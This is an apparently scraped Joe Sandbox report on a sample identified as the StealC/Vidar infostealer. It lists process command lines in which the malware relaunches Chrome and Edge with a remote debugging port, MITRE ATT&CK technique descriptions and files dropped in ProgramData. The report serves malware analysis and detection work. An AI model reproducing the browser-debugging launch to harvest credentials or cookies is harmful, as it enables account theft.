Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:27:23
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2160,i,4455333709043181034,16278747037617922736,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:27:34
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:27:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2192,i,13559142579569110316,10378971772201908166,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:27:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	10:27:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:27:40
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6668 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:27:40
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:27:42
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:27:42
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:28:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5564 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DAAAFBKE

C:\ProgramData\EGHJKFHJJJKJJJJKEHCBGCGDAF

C:\ProgramData\FIDGDAKF

C:\ProgramData\GCFCFCGCGIEHIECAFCFIJJKKFH

C:\ProgramData\HJJKJJDHCGCAECAAECFH

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

C:\ProgramData\KEHCAFHIJECGCAKFCGDB

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre